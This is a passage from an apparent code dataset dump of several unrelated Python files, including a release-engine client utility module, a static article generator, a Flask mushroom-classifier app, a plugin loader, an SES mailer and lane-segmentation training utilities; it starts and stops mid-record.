/home/tbielawa/rhat/release-engine/re-client/src/reclient/utils.py\n# Compiled at: 2015-01-27 15:32:52\nimport os\nfrom subprocess import call\nimport tempfile, json, yaml, logging\nfrom reclient.colorize import colorize\nfrom prettytable import PrettyTable\nout = logging.getLogger('reclient')\n\ndef cooked_input(msg=''):\n \"\"\"We need this to test user prompt\"\"\"\n return raw_input(msg)\n\n\ndef user_prompt_yes_no(prompt_str=''):\n \"\"\"Simple re-useable prompt for action confirmation. Adds [y/n]\n suffix automatically.\n\n Returns True if Yes, False if No\n \"\"\"\n ret = None\n while ret is None:\n ans = cooked_input(prompt_str + '[y/n]: ')\n if ans == 'y' or ans == 'Y':\n ret = True\n elif ans == 'n' or ans == 'N':\n ret = False\n else:\n continue\n\n return ret\n\n\ndef serialize(blob, format):\n \"\"\"\n Serializes a structure.\n \"\"\"\n if format == 'json':\n return json.dumps(blob, indent=4)\n return yaml.safe_dump(blob)\n\n\ndef deserialize(blob, format):\n \"\"\"\n Retutns a deserialized structure.\n \"\"\"\n if format == 'json':\n return json.loads(blob)\n return yaml.safe_load(blob)\n\n\ndef save_playbook(blob, dest, format):\n \"\"\"Save the temporary playbook, `source` at `path`\"\"\"\n with open(dest, 'w') as (_dest):\n try:\n del blob['id']\n except KeyError:\n pass\n\n if format == 'json':\n json.dump(blob, _dest, indent=4)\n else:\n yaml.safe_dump(blob, _dest)\n\n\ndef temp_blob(data, format):\n \"\"\"data is either a string or a hash. Function will 'do the right\nthing' either way\n\nformat is the format to write with.\n\"\"\"\n out.debug('tmp_blob received [%s]: %s' % (type(data), str(data)))\n if type(data) in [unicode, str]:\n data = json.loads(data)\n elif type(data) == dict or type(data) == list:\n pass\n else:\n raise ValueError(\"This isn't something I can work with\")\n tmpfile = tempfile.NamedTemporaryFile(mode='w', suffix='.%s' % format, prefix='reclient-')\n if format == 'json':\n json.dump(data, tmpfile, indent=4)\n else:\n yaml.safe_dump(data, tmpfile)\n tmpfile.flush()\n return tmpfile\n\n\ndef edit_playbook(blob, format):\n \"\"\"Edit the playbook object 'blob'.\n\nIf 'blob' is an unserialized string, then it is serialized and dumped\n(with indenting) out to a temporary file.\n\nIf 'blob' is a serialized hash is is dumped out (with indenting) to a\ntemporary file.\n\nIf 'blob' is a file object (like you would get from 'temp_blob')\nit is flush()'d.\n\n'format' is either json or yaml.\n\nOnce all that is complete, an editor is opened pointing at the path to\nthe temporary file. After the editor is closed the original (or\ninstantiated) file handle is returned.\"\"\"\n VISUAL = os.environ.get('VISUAL', None)\n if VISUAL is None:\n EDITOR = os.environ.get('EDITOR', 'emacs')\n else:\n EDITOR = VISUAL\n callcmd = [\n EDITOR]\n tmpfile = blob\n if isinstance(blob, tempfile._TemporaryFileWrapper):\n blob.flush()\n else:\n tmpfile = temp_blob(blob, format)\n try:\n out.debug('Editing with EDITOR=%s' % EDITOR)\n if EDITOR == 'emacs':\n callcmd.extend(['-nw', tmpfile.name])\n else:\n callcmd.append(tmpfile.name)\n out.debug('Going to launch editor with args: %s' % str(callcmd))\n call(callcmd)\n except OSError:\n out.debug(\"First call to EDITOR failed. Trying 'vi' explicitly\")\n try:\n fallback_call = ['vi', tmpfile.name]\n call(fallback_call)\n except OSError:\n out.debug(\"Second call to EDITOR failed. Trying 'vim' explicitly\")\n try:\n fallback_back_call = [\n 'vim', tmpfile.name]\n call(fallback_back_call)\n except OSError:\n out.info('Could not launch any editors. Tried: %s, vi, and vim' % EDITOR)\n return False\n\n return tmpfile\n\n\ndef less_file(path):\n call(['less', '-X', path])\n\n\ndef read_dynamic_args():\n \"\"\"Prompt the user for dynamic arguments\n\nAn empty key name ends the prompt\"\"\"\n dynamic_args = {}\n while True:\n argname = cooked_input(colorize('Argument name: ', color='yellow'))\n if argname == '':\n break\n else:\n argvalue = cooked_input(colorize('Argument value: ', color='yellow'))\n try:\n argvalue = int(argvalue)\n except ValueError:\n pass\n\n dynamic_args[argname] = argvalue\n\n return dynamic_args\n\n\ndef dynamic_args_table(dargs):\n \"\"\"Build a nice table of collected dynamic args\"\"\"\n t = PrettyTable(['Arg Name', 'Value'])\n t.header_style = 'upper'\n if dargs == {}:\n return ''\n for k, v in dargs.iteritems():\n t.add_row([k, v])\n\n return t","sub_path":"pycfiles/re-client-0.0.6-5.tar/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"40823278","text":"#Trout, written by John Fish in July 2013.\n#Updated July 3, 2015\nimport os, sys, time\n\ncurPath = os.getcwd()\n\ndef writeFile(fileName):\n article = open(curPath+'/input/rawarticles/'+fileName, 'r+')\n articleHTML = open(curPath+'/output/writing/'+fileName+'.html', 'w')\n os.chdir(curPath)\n headerOne = open('input/headerOne', 'r+')\n headerTwo = open('input/headerTwo', 'r+')\n footer = open('input/footer', 'r+')\n article_type = article.readline()\n title = article.readline()\n featuretext = article.readline()\n articleHTML.write(headerOne.read()+title+headerTwo.read()+article.read()+footer.read())\n \n\ndef resetAll():\n writeHeaderToArticlePage()\n os.chdir(\"input/rawarticles\")\n articles = []\n for files in os.listdir(\".\"):\n articles.append(files)\n articles.sort(key=lambda x: os.path.getctime(x))\n articles.reverse()\n for article in articles:\n writeFile(article)\n writeFilesToArticlePage(article)\n os.chdir(\"input/rawarticles\")\n writeFooterToArticlePage()\n\ndef writeHeaderToArticlePage():\n articlePage = open('output/writing/index.html', 'w')\n headerArticles = open('input/headerArticles', 'r+')\n articlePage.write(headerArticles.read())\n\ndef writeFilesToArticlePage(fileName):\n os.chdir(curPath)\n article_file = \"{0}/input/rawarticles/{1}\".format(curPath, fileName)\n articlePage = open('output/writing/index.html', 'a')\n article = open('input/rawarticles/'+fileName, 'r+')\n modified_time = time.ctime(os.path.getctime(article_file)).split()\n user_time = str(modified_time[0]+\" \"+modified_time[1]+\" \"+modified_time[2]+\", \"+modified_time[4])\n articlePage.write('
  • '+article.readline()+'
    '+article.readline()+'
    Created '+user_time+'

    • ')\n \ndef writeFooterToArticlePage():\n os.chdir(curPath)\n articlePage = open('output/writing/index.html', 'a')\n footerArticles = open('input/footerArticles', 'r+')\n articlePage.write(footerArticles.read())\n \nresetAll()\n","sub_path":"trout.py","file_name":"trout.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"74486345","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom flask import Flask, render_template\nfrom routes import resource_routes as r\nfrom routes import img_routes as ir\nfrom routes import system_routes as s\nfrom routes import feature_routes as fe\nfrom routes import imgClassifier_routes\n\n# 플라스크 객체 생성\napp = Flask(__name__)\n\n# 블루프린트 객체 등록\napp.register_blueprint(r.re_bp)\napp.register_blueprint(ir.is_bp)\napp.register_blueprint(s.sy_bp)\napp.register_blueprint(fe.fe_bp)\napp.register_blueprint(imgClassifier_routes.mushroom_bp)\n\nclass Net(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(3, 6, 5) # kernel=5, paddig=0. stride=1. 32-5+1=28\n self.pool = nn.MaxPool2d(2, 2) # 14\n self.conv2 = nn.Conv2d(6, 16, 5) # kernel=5, paddig=0. stride=1. 14-5+1=10 => max pooling 후 5X5\n self.fc1 = nn.Linear(16 * 5 * 5, 120)\n self.fc2 = nn.Linear(120, 20)\n self.fc3 = nn.Linear(20, 9)\n\n def forward(self, x):\n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n x = torch.flatten(x, 1) # 배치를 제외한 모든 차원을 평탄화(flatten)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n@app.route('/')\ndef root():\n return render_template('resourceForm.html')\n\nif __name__ == '__main__':\n app.run()\n\n\n","sub_path":"FinalProject_Project Mushroom/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"129578320","text":"import logging\nimport os\nimport sys\nfrom abc import ABCMeta, abstractmethod, abstractproperty\nfrom collections import defaultdict\nfrom importlib.util import find_spec\nfrom typing import Type\n\nfrom jsoncfg.value_mappers import require_string, require_array\nfrom peek_plugin_base.PluginCommonEntryHookABC import PluginCommonEntryHookABC\nfrom peek_plugin_base.PluginPackageFileConfig import PluginPackageFileConfig\nfrom peek_platform import PeekPlatformConfig\nfrom vortex.PayloadIO import PayloadIO\nfrom vortex.Tuple import removeTuplesForTupleNames, registeredTupleNames, \\\n tupleForTupleName\n\nlogger = logging.getLogger(__name__)\n\n\nclass PluginLoaderABC(metaclass=ABCMeta):\n _instance = None\n\n def __new__(cls, *args, **kwargs):\n assert cls._instance is None, \"PluginServerLoader is a singleton, don't construct it\"\n cls._instance = object.__new__(cls)\n return cls._instance\n\n def __init__(self):\n self._loadedPlugins = {}\n\n self._vortexEndpointInstancesByPluginName = defaultdict(list)\n self._vortexTupleNamesByPluginName = defaultdict(list)\n\n @abstractproperty\n def _entryHookFuncName(self) -> str:\n \"\"\" Entry Hook Func Name.\n Protected property\n :return: EG \"peekServerEntryHook\"\n\n \"\"\"\n\n @abstractproperty\n def _entryHookClassType(self):\n \"\"\" Entry Hook Class Type\n Protected property\n :return: EG PluginServerEntryHookABC\n\n \"\"\"\n\n @abstractproperty\n def _platformServiceNames(self) -> [str]:\n \"\"\" Platform Service Name\n Protected property\n :return: one or more of \"server\", \"worker\", \"agent\", \"client\", \"storage\"\n\n \"\"\"\n\n def loadPlugin(self, pluginName):\n try:\n self.unloadPlugin(pluginName)\n\n # Make note of the initial registrations for this plugin\n endpointInstancesBefore = set(PayloadIO().endpoints)\n tupleNamesBefore = set(registeredTupleNames())\n\n modSpec = find_spec(pluginName)\n if not modSpec:\n raise Exception(\"Can not load Peek App package %s\", pluginName)\n\n PluginPackage = modSpec.loader.load_module()\n pluginRootDir = os.path.dirname(PluginPackage.__file__)\n\n # Load up the plugin package info\n pluginPackageJson = PluginPackageFileConfig(pluginRootDir)\n pluginVersion = pluginPackageJson.config.plugin.version(require_string)\n pluginRequiresService = pluginPackageJson.config.requiresServices(require_array)\n\n # Make sure the service is required\n # Storage and Server are loaded at the same time, hence the intersection\n if not set(pluginRequiresService) & set(self._platformServiceNames):\n logger.debug(\"%s does not require %s, Skipping load\",\n pluginName, self._platformServiceNames)\n return\n\n # Get the entry hook class from the package\n entryHookGetter = getattr(PluginPackage, str(self._entryHookFuncName))\n EntryHookClass = entryHookGetter() if entryHookGetter else None\n\n if not EntryHookClass:\n logger.warning(\n \"Skipping load for %s, %s.%s is missing or returned None\",\n pluginName, pluginName, self._entryHookFuncName)\n return\n\n if not issubclass(EntryHookClass, self._entryHookClassType):\n raise Exception(\"%s load error, Excpected %s, received %s\"\n % (pluginName, self._entryHookClassType, EntryHookClass))\n\n ### Perform the loading of the plugin\n self._loadPluginThrows(pluginName, EntryHookClass, pluginRootDir)\n\n # Make sure the version we have recorded is correct\n PeekPlatformConfig.config.setPluginVersion(pluginName, pluginVersion)\n\n # Make note of the final registrations for this plugin\n self._vortexEndpointInstancesByPluginName[pluginName] = list(\n set(PayloadIO().endpoints) - endpointInstancesBefore)\n\n self._vortexTupleNamesByPluginName[pluginName] = list(\n set(registeredTupleNames()) - tupleNamesBefore)\n\n self.sanityCheckServerPlugin(pluginName)\n\n except Exception as e:\n logger.error(\"Failed to load plugin %s\", pluginName)\n logger.exception(e)\n\n @abstractmethod\n def _loadPluginThrows(self, pluginName: str, EntryHookClass: Type[PluginCommonEntryHookABC],\n pluginRootDir: str) -> None:\n \"\"\" Load Plugin (May throw Exception)\n\n This method is called to perform the load of the module.\n\n :param pluginName: The name of the Peek App, eg \"plugin_noop\"\n :param PluginPackage: A reference to the main plugin package, eg \"import plugin_noop\"\n this parameter would be plugin_noop.\n :param pluginRootDir: The directory of the plugin package,\n EG dirname(plugin_noop.__file__)\n\n \"\"\"\n\n def unloadPlugin(self, pluginName: str):\n oldLoadedPlugin = self._loadedPlugins.get(pluginName)\n\n if not oldLoadedPlugin:\n return\n\n # Remove the registered endpoints\n for endpoint in self._vortexEndpointInstancesByPluginName[pluginName]:\n PayloadIO().remove(endpoint)\n del self._vortexEndpointInstancesByPluginName[pluginName]\n\n # Remove the registered tuples\n removeTuplesForTupleNames(self._vortexTupleNamesByPluginName[pluginName])\n del self._vortexTupleNamesByPluginName[pluginName]\n\n self._unloadPluginPackage(pluginName, oldLoadedPlugin)\n\n def listPlugins(self):\n def pluginTest(name):\n if not name.startswith(\"plugin_\"):\n return False\n return os.path.isdir(os.path.join(self._pluginPath, name))\n\n plugins = os.listdir(self._pluginPath)\n plugins = list(filter(pluginTest, plugins))\n return plugins\n\n def loadAllPlugins(self):\n for pluginName in PeekPlatformConfig.config.pluginsEnabled:\n self.loadPlugin(pluginName)\n\n def unloadAllPlugins(self):\n while self._loadedPlugins:\n self.unloadPlugin(list(self._loadedPlugins.keys())[0])\n\n def _unloadPluginPackage(self, pluginName, oldLoadedPlugin):\n\n # Stop and remove the Plugin\n del self._loadedPlugins[pluginName]\n\n try:\n oldLoadedPlugin.stop()\n oldLoadedPlugin.unload()\n\n except Exception as e:\n logger.error(\"An exception occured while unloading plugin %s,\"\n \" unloading continues\" % pluginName)\n logger.exception(e)\n\n # Unload the packages\n loadedSubmodules = [modName\n for modName in list(sys.modules.keys())\n if modName.startswith('%s.' % pluginName)]\n\n for modName in loadedSubmodules:\n del sys.modules[modName]\n\n if pluginName in sys.modules:\n del sys.modules[pluginName]\n\n # pypy doesn't have getrefcount\n if hasattr(sys, \"getrefcount\") and sys.getrefcount(oldLoadedPlugin) > 2:\n logger.warning(\"Old references to %s still exist, count = %s\",\n pluginName, sys.getrefcount(oldLoadedPlugin))\n\n def sanityCheckServerPlugin(self, pluginName):\n ''' Sanity Check Plugin\n\n This method ensures that all the things registed for this plugin are\n prefixed by it's pluginName, EG plugin_noop\n '''\n\n # All endpoint filters must have the 'plugin' : 'plugin_name' in them\n for endpoint in self._vortexEndpointInstancesByPluginName[pluginName]:\n filt = endpoint.filt\n if 'plugin' not in filt and filt['plugin'] != pluginName:\n raise Exception(\"Payload endpoint does not contan 'plugin':'%s'\\n%s\"\n % (pluginName, filt))\n\n # all tuple names must start with their pluginName\n for tupleName in self._vortexTupleNamesByPluginName[pluginName]:\n TupleCls = tupleForTupleName(tupleName)\n if not tupleName.startswith(pluginName):\n raise Exception(\"Tuple name does not start with '%s', %s (%s)\"\n % (pluginName, tupleName, TupleCls.__name__))\n\n def notifyOfPluginVersionUpdate(self, pluginName, pluginVersion):\n logger.info(\"Received PLUGIN update for %s version %s\", pluginName, pluginVersion)\n return self.loadPlugin(pluginName)\n","sub_path":"peek_platform/plugin/PluginLoaderABC.py","file_name":"PluginLoaderABC.py","file_ext":"py","file_size_in_byte":8561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"267871598","text":"#\n##\n##########################################################################\n# #\n# gauth :: config_parser #\n# #\n# (c) 2018 Vamegh Hedayati #\n# #\n# Vamegh Hedayati #\n# #\n# Please see Copying for License Information #\n# GNU/LGPL #\n##########################################################################\n##\n#\nimport file_handler\nimport getpass\nimport os\nimport pwd\nimport re\nimport sys\n\n\nclass Parse(object):\n def __init__(self, options=None, parser=None):\n self.options = options\n self.parser = parser\n self.handle = file_handler.FileHandler()\n self.config_data = None\n\n def read_config(self):\n if self.options.config:\n try:\n config_data = self.handle.read_file(config_file=self.options.config)\n self.config_data = config_data\n except (IOError, ValueError) as err:\n print(\"\\nConfig File Issue: %s :: Error : %s\\n\" % (self.options.config, err))\n self.parser.print_help()\n sys.exit(1)\n\n def combine_config(self):\n try:\n color_map = self.config_data['color_map']\n if not os.path.isfile(color_map):\n current_paths = os.path.dirname(os.path.realpath(__file__)).split('/')\n current_paths.pop()\n current_path = \"/\".join(current_paths)\n color_map = os.path.join(current_path, color_map)\n color_data = self.handle.read_file(config_file=color_map)\n if color_data:\n self.config_data.update(color_data)\n except KeyError as err:\n print(\"color map not supplied :: Error: %s :: skipping\" % err)\n\n def scan_config(self):\n if self.options.debug:\n debug = self.options.debug\n if debug == 1:\n debug_name = 'critical'\n elif debug == 2:\n debug_name = 'error'\n elif debug == 3:\n debug_name = 'warning'\n elif debug == 4:\n debug_name = 'info'\n elif debug == 5:\n debug_name = 'debug'\n else:\n print(\"Invalid debug level set, using default\")\n debug_name = None\n if debug_name:\n self.config_data['logging_config']['log_level'] = debug_name\n\n ''' Add the user-id running this to config_data'''\n pam_user = os.getenv('PAM_USER')\n sys_user = getpass.getuser()\n check_is_uid = re.compile(r\"^\\d+\")\n if not pam_user:\n self.config_data['user_name'] = sys_user\n pam_user = sys_user\n\n if check_is_uid.match(pam_user):\n self.config_data['user_name'] = pwd.getpwuid(pam_user)[0]\n\n '''add all of the command options to the config data as well'''\n self.config_data['options'] = self.options\n\n def return_config(self):\n return self.config_data\n","sub_path":"build-tools/python/build_libs/config_parser.py","file_name":"config_parser.py","file_ext":"py","file_size_in_byte":3431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545058045","text":"import numpy as np\nimport math\nimport scipy\nfrom scipy.stats import beta\nimport pdb, subprocess, random\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport os.path, time\n\nfrom scipy import optimize as scipyopt\n\nimport json\n\nimport os, sys\nhome_dir = os.getenv(\"HOME\")\nsys.path.insert(0, home_dir + '/phd-code/codes/')\n\nimport HM, HMgradopt, ROprob, NIPC\nimport utilities as utils\n\nimport algtest\n\ndef main():\n\n\n\n\n\n\ttest_obj = lambda x,u: algtest.TP3Dopt(x,u,delta=1)\n\tlb, ub = [-5,-5,-5], [5,5,5]\n\tx0 = [4,4,4] # gauss\n\tx0 = [3,2,0] # beta\n\n\t# HM notar optimum:\n\tcandHM = [ 5.00000272e+00, 4.99991138e+00, -3.76392771e-15]\n\t# WS optimum:\n\t#candWS = [ 4.99972135, 5.00010615, 3.12436706]\n\n\tcandWS = [ 5.00027226, 4.99918449, 4.0619249 ]\n\t# min mean\n\tcandMU = [ 5.0, 7.0, 0.0]\n\n\n\tname = 'notar'\n\tif name == 'gauss':\n\t\tmu, std = 3, 1\n\t\tDMT = lambda x: utils.DM_target_g(x, shift = 3, std=1)\n\t\tHMT = lambda x: utils.target_g(x, shift = 3, std=1, bInverse=True)\n\tif name == 'beta':\n\t\tmu, std = 10, 2\n\t\tDMT = lambda x: utils.DM_target_b(x, shift=mu, std=std)\n\t\tHMT = lambda x: utils.target_b(x, shift=mu, std=std, bInverse=True)\n\tif name == 'uni':\n\t\tDMT = lambda x: utils.DM_target_u(x, shift = 5, std=1.5)\n\t\tHMT = lambda x: utils.target_u(x, shift = 1, std=1, bInverse=True)\n\tif name == 'notar':\n\t\tDMT = lambda x: utils.DM_target_g(x, shift = -5, std=0.01)\n\t\tHMT = lambda x: utils.target_g(x, shift = -5, std=0.01, bInverse=True)\n\tif name == 'ws':\n\t\tDMT = lambda x: utils.DM_target_g(x, shift = -5, std=0.01)\n\t\tHMT = lambda x: utils.target_g(x, shift = -5, std=0.01, bInverse=True)\n\n\t# Density matching and horsetail matching objects with the same target and setup\n\tOptObj = HMgradopt.HorsetailMatchingOpt(test_obj, ualdim=1, uepdim=0, lb=lb, ub=ub, OptType = 'HM',\n\t\t\t\t\t\t\t\t\tn_sample=1*10**4, n_quad=1*10**3, log_file = 'DM_log_opt.txt',\n\t\t\t\t\t\t\t\t\tDMT = DMT,\n\t\t\t\t\t\t\t\t\tT1inv = HMT,\n\t\t\t\t\t\t\t\t\tpoly_order = 3, bLog = False,\n\t\t\t\t\t\t\t\t\tp = 2, trap_low = -25, trap_high = 75 )\n\n\n\t# Evaluate the optimal designs for comparisons\n\tOptObj.evaluator(candHM)\n\tqhtHM = [OptObj.fplot, OptObj.qplot, OptObj.tplot]\n\n\tOptObj.evaluator(candWS)\n\tqhtWS = [OptObj.fplot, OptObj.qplot, OptObj.tplot]\n\n\tOptObj.evaluator(candMU)\n\tqhtMU = [OptObj.fplot, OptObj.qplot, OptObj.tplot]\n\n\t# Deal with directory structure\n\tsubprocess.call('cd ' + home_dir + '/phd-code/HorsetailMatching/', shell=True)\n\n\t# before plotting, make latex compatible\n\tutils.mpl2tex()\n\n\tfig = plt.figure()\n\t#for ii in range(len(hm_plotlog)):\n\t#\tplt.plot(hm_plotlog[ii][0],hm_plotlog[ii][1],colorstr[ii], dashes=[3,3])\n\n\tplt.plot(qhtHM[0],qhtHM[1],'b')\n\tplt.plot(qhtWS[0],qhtWS[1],'r')\n\tplt.plot(qhtMU[0],qhtMU[1],'g')\n\t#plt.legend(loc='lower right')\n\tplt.xlabel('Quantity of Interest')\n\tplt.ylabel('CDF')\n\t#plt.xlim([-5,30])\n\t#plt.ylim([0,0.50])\n\tplt.tight_layout()\n\tutils.savefig('CDFs', bSaveData=True, bSaveBase=True)\n\t#fig.set_size_inches(8, 6, forward=True)\n\n\n\t#fig.set_size_inches(8, 6, forward=True)\n\tplt.show()\n\n\n\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"HorsetailMatching/algtest_test_candidates.py","file_name":"algtest_test_candidates.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"99512861","text":"from __future__ import annotations\n\nimport os\nimport traceback\nfrom dataclasses import dataclass\nfrom typing import Union\n\nfrom goldfnd.lib.ses import SESMessageParam, SESRawMessageParam\nfrom goldfnd.models.Reply import Reply\nfrom goldfnd.models.User import User\n\n\n@dataclass\nclass MailerCacheStorage:\n sender: str\n prepared_message_param: SESMessageParam\n\n def __init__(self):\n self.sender = None\n self.prepared_message_param = None\n\n\nclass Mailer(object):\n\n def __init__(self, ses_client):\n self.ses_client = ses_client\n self.message_param: Union[None, Union[SESMessageParam, SESRawMessageParam]] = None\n self.__cache_storage = MailerCacheStorage()\n\n @staticmethod\n def to_anchor_tag(string):\n return f'{string}'\n\n def prepare_message(self, reply: Reply):\n subject = reply.mail['subject']\n content = reply.mail['content']\n name_placeholder = reply.mail['name_placeholder']\n new_content = []\n\n for text in content.split(os.linesep):\n if text.startswith('http'):\n text = self.to_anchor_tag(text)\n new_content.append(text)\n\n new_content = os.linesep.join(new_content)\n\n self.message_param = SESMessageParam(subject, new_content, name_placeholder)\n # self.message_param = SESRawMessageParam(subject, content, name_placeholder)\n self.__cache_storage.prepared_message_param = self.message_param # Caching\n return self\n\n def send(self, user: User, sender_=None):\n if not self.message_param:\n print('Message param for AWS SES is required first!')\n raise NotImplemented\n sender = sender_ or self.__cache_storage.sender\n if not sender:\n print('Sender is required')\n raise NotImplemented\n self.__cache_storage.sender = sender # Caching\n # self.message_param.set_source(sender).set_destination(user.mail).set_raw_message(user)\n self.message_param.set_sender(sender).set_destination(user)\n try:\n return self.ses_client.send_email(**self.message_param.to_dict())\n # return self.ses_client.send_raw_email(**self.message_param.to_dict())\n except Exception as e:\n traceback.print_exc()\n raise e\n\n @property\n def cached_prepared_message_param(self):\n return self.__cache_storage.prepared_message_param\n","sub_path":"goldfnd/services/mailer.py","file_name":"mailer.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"150449620","text":"\"\"\" _\n |_|_\n _ | |\n _|_|_|_|_\n|_|_|_|_|_|_\n |_|_|_|_|_|\n | | |_|\n |_|_\n |_|\n\nAuthor: Souham Biswas\nWebsite: https://www.linkedin.com/in/souham/\n\"\"\"\n\nimport os\nfrom queue import Queue\n\nimport cv2\nimport numpy as np\n\nMODE = 'train' # choose between train and val\nBATCH_SIZE = 2\nSHUFFLE = True\nPRINT_LOSS_EVERY_N_STEPS = 50\n\nFREEZE_BACKBONE = False\nFREEZE_DECODER = False\n\nIM_DIM = 512\nSHADOW_GT_DIR = 'scratchspace/white-and_yellow-solid-lane-markings'\nFINAL_MODEL_DIR = 'final_model'\nFINAL_MODEL_NAME = 'model-v0'\n\n# BIN_POS_CE_COEFF = 3.\nFOCAL_TVERSKY_POWER = 1.5\nFOCAL_TVERSKY_FALSE_NEGATIVE_COEFF = .6\nHARD_NEGATIVE_MINING_COEFF = 3. # deprecated while using focal tvsersky loss\n\n# SAVE_FREQUENCY = 800 // BATCH_SIZE\nBATCHES_PER_ASYNC_QUEUE = 50\n\nCONFIDENCE_THRESHOLD = .5\nUPDATE_BATCHNORM_STATS = True\nSTART_TRAIN_STEP = 0\nNUM_TRAIN_STEPS = 1000000\nBASE_LEARN_RATE = 1e-4\nLEARN_RATE_EXPONENTIAL_DECAY_POWER = .068\n\n# WEIGHT_DECAY = 1e-5\n\nMODEL_SAVE_DIR_ROOT = 'scratchspace/model_dir'\nMODEL_NAME_PREFIX = 'flonet'\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\n\nSAMPLE_IMAGES_DIR = 'scratchspace/sample_0/images'\n\n\ndef split_to_backprop_and_update(upsampler_params):\n upsampler_backprop_vars = [v for v in upsampler_params if 'moving' not in v.name]\n upsampler_moving_stats_vars = [v for v in upsampler_params if 'moving' in v.name]\n return upsampler_backprop_vars, upsampler_moving_stats_vars\n\n\ndef set_gpu_id(id):\n os.environ['CUDA_VISIBLE_DEVICES'] = str(id)\n\n\ndef get_center_crop_ends(dim, center_size):\n if dim != center_size:\n start_idx = int((dim - center_size) // 2)\n end_idx = int(start_idx + center_size)\n else:\n start_idx = 0\n end_idx = dim\n return start_idx, end_idx\n\n\ndef get_random_crop_ends(dim, center_size):\n if dim != center_size:\n start_idx = int(np.random.randint(dim - center_size))\n end_idx = int(start_idx + center_size)\n else:\n start_idx = 0\n end_idx = dim\n return start_idx, end_idx\n\n\ndef get_rescaled_dims(w, h, min_dim_sz):\n if h > w:\n scale_factor = 1. * h / w\n new_h = int(min_dim_sz * scale_factor)\n new_w = min_dim_sz\n else:\n scale_factor = 1. * w / h\n new_h = min_dim_sz\n new_w = int(min_dim_sz * scale_factor)\n return new_w, new_h\n\n\ndef overlay_mask(im_in, conf_mask_in, color=(255, 0, 0), alpha=.5, thresh=.5):\n if conf_mask_in.max() > 1.:\n conf_mask = conf_mask_in / 255.\n else:\n conf_mask = conf_mask_in\n im = im_in.copy()\n f = conf_mask > thresh\n p = np.array(color) * np.tile(np.expand_dims(conf_mask[f], 0), [3, 1]).T\n im[f] = alpha * p + (1 - alpha) * im[f]\n im = im.astype(np.uint8)\n return im\n\n\ndef resize_aspect_ratio_preserved(im, min_dim_sz=720, interp=cv2.INTER_NEAREST):\n h, w = im.shape[0], im.shape[1]\n new_w, new_h = get_rescaled_dims(w, h, min_dim_sz=min_dim_sz)\n im_ret = cv2.resize(im, (new_w, new_h), interpolation=interp)\n return im_ret\n\n\ndef unit_vector(vector):\n \"\"\" Returns the unit vector of the vector. \"\"\"\n return vector / np.tile([np.linalg.norm(vector, axis=1)], [2, 1]).T\n\n\ndef angle_between(v1, v2):\n \"\"\"\n Returns the angle in radians between vectors 'v1' and 'v2'\n \"\"\"\n v1_u = unit_vector(v1)\n v2_u = unit_vector(v2)\n v = np.sum(v2_u * v1_u, axis=1)\n return np.arccos(np.clip(v, -1.0, 1.0))\n\n\ndef auto_canny(image_, sigma=0.33):\n image = cv2.cvtColor(image_, cv2.COLOR_BGR2GRAY).astype(np.uint8)\n v = np.median(image)\n lower = int(max(0, (1.0 - sigma) * v))\n upper = int(min(255, (1.0 + sigma) * v))\n edged = cv2.Canny(image, lower, upper)\n return edged\n\n\ndef nn_preprocess(im_in_): # re-implemented what tensorflow was doing internally for NASnet.\n im_in = im_in_ - im_in_.min()\n im_in = (im_in / im_in.max()) * 255.\n im_edged = auto_canny(im_in) / 255.\n im_edged[im_edged < 1.] = -1.\n im = im_in / 255.\n im = im - .5\n im = im * 2.\n h, w, _ = im.shape\n im_ = np.zeros([h, w, 4], dtype=np.float)\n im_[:, :, :3] = im\n im_[:, :, -1] = im_edged\n return im_\n\n\ndef nn_unpreprocess(im_in):\n im = im_in / 2.\n im = im + .5\n im = (im * 255).astype(np.uint8)\n return im\n\n\ndef input_infer_preprocess(im_bgr_uint8, side=IM_DIM):\n h, w, _ = im_bgr_uint8.shape\n if min(h, w) != side:\n im = resize_aspect_ratio_preserved(im_bgr_uint8, side, interp=cv2.INTER_LINEAR)\n else:\n im = im_bgr_uint8\n im = nn_preprocess(im)\n im = np.expand_dims(im, 0)\n return im\n\n\ndef force_makedir(dir):\n if not os.path.isdir(dir):\n print('Making folder at -', dir)\n os.makedirs(dir)\n\n\ndef topk_idx(v, k):\n return np.argpartition(v, -k)[-k:]\n\n\ndef bottomk_idx(v, k):\n return np.argpartition(v, k)[:k]\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"63362235","text":"import logging\nimport socket\nimport sys\n\nimport flask\nfrom flask import Flask, request\nfrom flask_cors import CORS\nfrom pyspark.sql import SparkSession\n\nfrom model_platform.src.operationalization.anomaly.profile_anomaly.online_score import \\\n load_profile_anomaly_model, \\\n get_profile_anomaly_score\n\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO)\napp = Flask(__name__)\nCORS(app)\n\nspark = SparkSession.builder.appName('MAAS').getOrCreate()\nsc = spark.sparkContext\nsc.setLogLevel(\"ERROR\")\nmodel_dict = dict()\nmodel_dict[\"windowsos\"] = load_profile_anomaly_model(spark=spark, 